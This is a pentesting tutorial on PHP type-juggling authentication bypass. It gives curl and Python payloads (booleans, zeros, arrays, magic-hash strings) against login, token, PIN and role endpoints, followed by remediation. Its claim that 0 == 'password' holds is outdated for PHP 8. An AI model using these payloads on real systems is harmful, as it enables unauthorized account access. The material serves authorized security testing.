Exploiting Type Juggling Vulnerabilities

When to Use

• When testing PHP web applications for authentication bypass vulnerabilities
• During assessment of password comparison and hash verification logic
• When testing applications using loose comparison (== instead of ===)
• During code review of PHP applications handling JSON or deserialized input
• When evaluating input validation that relies on type-dependent comparison

Prerequisites

• Understanding of PHP type system and loose comparison behavior
• Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
• Burp Suite for request manipulation and parameter type changing
• PHP development environment for testing payloads locally
• Collection of magic hash strings from PayloadsAllTheThings
• Ability to send JSON or serialized data to control input types

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Type Juggling Candidates

# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

Step 2 — Exploit Loose Comparison Authentication Bypass

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

Step 3 — Exploit Magic Hash Collisions

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

Step 4 — Exploit Comparison in Access Control

# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)

# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"

# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

Step 5 — Exploit via Deserialization Input

# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []

# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)

Step 6 — Automated Type Juggling Testing

# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list

# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python automation
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"

Key Concepts

Concept	Description
Loose Comparison (==)	PHP comparison that performs type coercion before comparing values
Strict Comparison (===)	PHP comparison requiring both value and type to match
Magic Hash	String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison
Type Coercion	Automatic conversion between types (string to int, null to 0) during comparison
strcmp Bypass	Passing array to strcmp() returns NULL, which equals 0 in loose comparison
JSON Type Control	Using JSON input to send specific types (boolean, integer, null) to PHP endpoints
Scientific Notation	PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison

Tools & Systems

Tool	Purpose
Burp Suite	HTTP proxy for changing parameter types in requests
PHP interactive shell	Local testing of type juggling behavior
PayloadsAllTheThings	Curated magic hash and type juggling payload lists
phpggc	PHP generic gadget chains for deserialization exploitation
Custom Python scripts	Automated type juggling payload testing
PHPStan/Psalm	Static analysis tools detecting loose comparisons in code

Common Scenarios

1. Authentication Bypass via Boolean — Send

   "password": true

   as JSON to bypass loose comparison password verification
2. Magic Hash Collision — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
3. strcmp Array Bypass — Send

   password[]=anything

   to make strcmp() return NULL, bypassing password comparison
4. PIN/OTP Bypass — Send integer 0 as verification code to match against "0e..." hash of the actual code
5. Role Escalation — Send

   "role": true

   to match any non-empty role string in loose comparison access checks

Output Format

## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel

### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |

### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |

### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files